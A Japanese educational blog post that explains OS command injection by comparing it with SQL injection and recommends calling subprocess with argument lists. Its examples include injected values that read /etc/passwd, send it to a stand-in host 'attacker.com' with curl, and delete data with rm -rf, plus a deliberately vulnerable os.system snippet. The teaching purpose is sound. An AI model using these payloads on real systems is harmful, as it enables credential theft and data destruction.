「ユーザーが入力したファイル名を、そのままシェルコマンドに渡している」。コードレビューでこの一文を見かけると、身構える人は多いと思います。ただ、なぜ危険なのかを聞かれると、「SQLインジェクションと同じようなものでしょう」で止まってしまうことも案外あるのではないでしょうか。
実際、コマンドインジェクションはSQLインジェクションと驚くほど構造が似ています。この記事では、その相似形を手がかりにしながら、なぜ「シェルに文字列をそのまま渡す」だけで任意のコマンドが実行できてしまうのか、仕組みのレベルで追いかけます。読み終える頃には、対策のリストを丸暗記しなくても、「なぜこのコードは危険で、なぜこの書き方なら安全か」を自分で判定できるようになっているはずです。
シェルは「文字列」を「コマンド」として解釈する
コマンドインジェクションが成立する土台は、SQLインジェクションとまったく同じです。プログラムが最終的にOSへ渡すのは、コマンドラインという一本のテキストだからです。
たとえば、フォームで受け取ったホスト名をPingで疎通確認する、素朴なコードを考えます(説明用に単純化した擬似コードで、host はリクエストパラメータから取得済みとします)。
import os
host = get_param("host")
os.system("ping -c 1 " + host)
host に example.com が入れば、実行されるコマンドは次のようになります。
ping -c 1 example.com
何の問題もなさそうです。ここで、host に次の文字列が入ってきたらどうなるでしょうか。
example.com; cat /etc/passwd
先ほどのコードは、これを疑いもせずそのまま連結します。組み立てられるコマンドはこうなります。
ping -c 1 example.com; cat /etc/passwd
シェルにとって ; は「ここでコマンドを区切って、次のコマンドを実行する」という意味を持つ制御文字です。ping が終わったあと、続けて cat /etc/passwd が実行され、パスワードファイルの中身がまるごと出力されてしまいます。
攻撃者は「値」ではなく「シェルの文法」を送り込んでいる
ここで起きていることを正確に言うと、攻撃者はデータを送り込んだのではありません。シェルの構文の一部を送り込んだのです。アプリケーション側は host を「ホスト名という値」として扱っているつもりでも、シェルから見れば渡されたテキストはコマンドラインの一部でしかありません。値のつもりで書いた文字列の中に、たまたまシェルにとって意味のある記号が混ざっていれば、シェルはそれをそのまま構文として解釈します。
この「値のはずが構文として解釈される」というズレこそが、コマンドインジェクションの正体です。SQLインジェクションが ' や OR を悪用するのに対し、コマンドインジェクションはシェルの制御文字を悪用します。代表的なものを並べてみます。
| 記号 | シェルでの意味 |
|---|---|
; |
コマンドを区切って次を実行する |
| |
前のコマンドの出力を次のコマンドへ渡す |
&& |
直前のコマンドが成功したら次を実行する |
` や $()
|
コマンドの実行結果をその場に展開する(コマンド置換) |
> |
出力をファイルへ書き込む |
\| を使えば example.com | curl attacker.com -d @/etc/passwd のように情報を外部へ送信することもできますし、$() を使えば example.com$(rm -rf /var/data) のようにコマンドの実行結果ではなく副作用そのものを狙うこともできます。区切り記号は一つではないので、「セミコロンだけ弾けば安全」という発想は最初から成立しません。
なぜ「エスケープすれば安全」という発想が危ういのか
対策として、シェルにとって特別な記号を手作業でエスケープしよう、という発想が浮かぶかもしれません。実際にそう書いてしまったコードを見たことがあります。
def sanitize(host):
return host.replace(";", "").replace("|", "")
os.system("ping -c 1 " + sanitize(get_param("host")))
一見もっともらしく見えます。ですが、シェルの制御文字は先ほどの表に挙げただけでも5種類あり、環境や使うシェルによって解釈が変わる記号(改行、&、バッククォート、引用符の組み合わせ)まで含めると、網羅するのは現実的ではありません。ブラックリスト方式は「知っている攻撃パターンだけ」を防ぐ発想であり、知らないパターンには最初から無力です。SQLインジェクション対策で文字列連結のエスケープが推奨されないのと、根は同じ理由です。
安全な書き方 — シェルを経由させない
もっとも確実な対策は、そもそもシェルに文字列を解釈させないことです。Pythonであれば、コマンドと引数をリストとして渡す subprocess を使い、shell=True を避けます。
import subprocess
host = get_param("host")
result = subprocess.run(
["ping", "-c", "1", host],
capture_output=True,
text=True,
)
shell=True を指定しない場合、host の中身がどんな文字列であっても、それは ping コマンドに渡される1個の引数として扱われます。; や | が入っていても、シェルの制御文字としてではなく、ただの文字の並びとしてそのまま ping に渡るだけです。プレースホルダを使ったSQLクエリが「値は値のまま、構文には混ざらない」ことを保証するのと、まったく同じ発想です。
どうしても shell=True を使わざるを得ない場合は、shlex.quote() でシェルにとって安全な形にエスケープしてから渡す方法もあります。ただし、これは「シェルを経由しないで済むなら経由しない」という原則の次善策だと考えたほうがよいでしょう。
筆者の考え・所感
個人的には、コマンドインジェクションはSQLインジェクションよりも見落とされやすい脆弱性だと感じています。SQL文字列の組み立ては「SQLを書いている」という自覚が持ちやすいのに対して、os.system や subprocess.run(..., shell=True) は「ちょっとしたコマンドを実行しているだけ」という感覚で書かれがちだからです。バッチ処理やデプロイスクリプト、画像変換や外部ツール呼び出しのラッパーなど、Webのリクエスト経路から離れた場所でこそ、shell=True は無警戒に使われている印象があります。
以前、社内向けの管理ツールで、アップロードされたzipファイル名をそのまま unzip コマンドに渡しているコードをレビューしたことがありました。「社内ツールだから外部から攻撃される心配はない」という理屈で通っていたのですが、ファイル名の入力元をたどると、結局は認証済みユーザーが自由に決められる文字列でした。信頼できる相手からの入力でも、シェルにとっては単なる文字の並びでしかない、という当たり前の事実を、そのとき改めて意識させられました。「社内向けだから」「認証済みユーザーだから」という理由は、シェルが記号をどう解釈するかにはまったく影響しません。境界を引くべきなのは「誰が使うツールか」ではなく、「外部から決定可能な文字列がシェルに渡るかどうか」だと考えるようになりました。
まとめ
- コマンドインジェクションは、シェルに渡す文字列の中に制御文字(
;|&&$()など)が混ざることで、想定外のコマンドが実行される脆弱性である - ブラックリスト方式のエスケープは、シェルの制御文字が多岐にわたるため網羅しきれず、根本対策にならない
-
subprocess.run(["cmd", arg], shell=True にしない)のように、コマンドと引数をリストで渡してシェルを経由させないことが最も確実な対策である